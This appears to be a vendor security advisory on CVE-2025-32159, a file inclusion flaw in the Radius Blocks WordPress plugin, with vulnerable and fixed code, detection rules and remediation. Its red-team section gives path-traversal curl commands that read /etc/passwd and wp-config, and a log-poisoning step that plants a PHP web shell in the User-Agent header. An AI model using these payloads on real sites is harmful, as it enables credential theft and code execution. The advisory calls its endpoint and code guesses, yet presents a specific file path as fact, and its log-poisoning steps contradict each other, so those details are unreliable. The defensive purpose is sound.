CVE-2025-32159

Executive Summary

CVE-2025-32159 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Radius Blocks WordPress plugin (by RadiusTheme). The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php, /etc/passwd) and potentially remote code execution if combined with log poisoning or file upload capabilities. The vulnerability affects all versions up to and including 2.2.1. No public exploit code or patch is currently available, but the risk is high due to the plugin’s widespread use in WordPress ecosystems.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from RadiusTheme. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, leading to full file disclosure. While integrity and availability are not directly impacted, the leaked credentials or configuration data can enable further attacks.

Deep Dive & Mechanics

The vulnerability exists in the Radius Blocks plugin’s handling of dynamic file inclusion. The plugin likely uses user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) to construct a file path for PHP’s include() or require() functions without proper sanitization or validation. An attacker can manipulate this input to traverse directories and include arbitrary files from the server.

Root Cause: The plugin fails to validate or sanitize the filename parameter before passing it to an include/require statement. This allows path traversal sequences like ../../ to escape the intended directory.

Example vulnerable code pattern:

$file = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );

An attacker can supply ../../../../wp-config to include the WordPress configuration file.

Impact:

• Information Disclosure: Read sensitive files like wp-config.php, /etc/passwd, or application logs.
• Potential RCE: If the attacker can control file content (e.g., via log poisoning or file upload), they can execute arbitrary PHP code.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical secure implementation.

Vulnerable Code (radius-blocks/includes/class-template-loader.php):

public function load_template( $template_name ) {
    $file = $_GET['template'];
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
}

Patched Code (Secure Implementation):

public function load_template( $template_name ) {
    // Whitelist allowed templates
    $allowed_templates = array( 'default', 'grid', 'list' );
    $file = sanitize_file_name( $_GET['template'] );
    $file = basename( $file, '.php' ); // Remove path traversal
    if ( in_array( $file, $allowed_templates ) ) {
        include( plugin_dir_path( __FILE__ ) . 'templates/' . $file . '.php' );
    } else {
        // Handle error
        wp_die( 'Invalid template.' );
    }
}

Key Fixes:

• Use sanitize_file_name() to remove dangerous characters.
• Use basename() to strip directory paths.
• Implement a whitelist of allowed template names.
• Avoid direct user input in file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with Radius Blocks plugin <= 2.2.1.
• No authentication required.

Exploitation Steps:

1. Identify vulnerable endpoint: The vulnerable parameter is likely template in a URL like /wp-content/plugins/radius-blocks/template-loader.php?template=....

2. Basic LFI to read /etc/passwd:

   curl "http://target.com/wp-content/plugins/radius-blocks/template-loader.php?template=../../../../../../etc/passwd"
   

3. Read WordPress configuration:

   curl "http://target.com/wp-content/plugins/radius-blocks/template-loader.php?template=../../../../wp-config"
   

4. Log Poisoning for RCE (if writable logs):

   • Inject PHP code into User-Agent:

     curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
     

   • Include the access log:

     curl "http://target.com/wp-content/plugins/radius-blocks/template-loader.php?template=../../../../wp-content/debug.log"
     

   • Execute commands via cmd parameter.

Note: No public exploit code exists; this is a theoretical exploitation path.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Alert on requests to template-loader.php with suspicious template parameters.
• Use WAF rules to block directory traversal sequences.

Hardening:

• Disable the plugin until a patch is available.
• Implement file integrity monitoring for plugin files.
• Restrict file permissions on sensitive files (e.g., wp-config.php to 600).
• Use a Web Application Firewall (WAF) with LFI rules.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /wp-content/plugins/radius-blocks/template-loader.php?template=../
  • /wp-content/plugins/radius-blocks/template-loader.php?template=../../../../wp-config
• Log Entries:
  • GET /wp-content/plugins/radius-blocks/template-loader.php?template=../../../../etc/passwd
  • User-Agent strings containing PHP code (e.g., <?php system(...) ?>)
• File Access:
  • Unauthorized access to /etc/passwd, wp-config.php, or other sensitive files.
• Network:
  • Outbound connections from the web server to attacker-controlled hosts (if RCE achieved).

Detection Engineering

YARA Rule

rule CVE_2025_32159_LFI_RadiusBlocks {
    meta:
        description = "Detects LFI attempts targeting Radius Blocks plugin CVE-2025-32159"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-32159"
    strings:
        $path_traversal = /template=\.\.\// nocase
        $sensitive_file = /template=.*(wp-config|etc\/passwd|\.\.\/)/ nocase
    condition:
        $path_traversal or $sensitive_file
}

Sigma Rule

title: CVE-2025-32159 Radius Blocks LFI Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests exploiting LFI in Radius Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'template=../'
            - 'template=..%2f'
            - 'template=%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-32159 - Radius Blocks LFI Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/radius-blocks/template-loader.php";
    http_uri;
    content:"template=";
    http_uri;
    pcre:"/template=(\.\.\/|%2e%2e%2f)/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by RadiusTheme.
2. Implement virtual patching via WAF rules to block path traversal patterns.
3. Review server logs for signs of exploitation.

Long-term Fix:

• Apply the official patch from RadiusTheme when available.
• Update to a patched version (currently none).
• Consider replacing the plugin with an alternative if no patch is forthcoming.

General Best Practices:

• Never trust user input in file inclusion functions.
• Use whitelisting instead of blacklisting.
• Implement the principle of least privilege for file permissions.
• Regularly audit plugins for known vulnerabilities.

Valters IT
Securing Digital Frontiers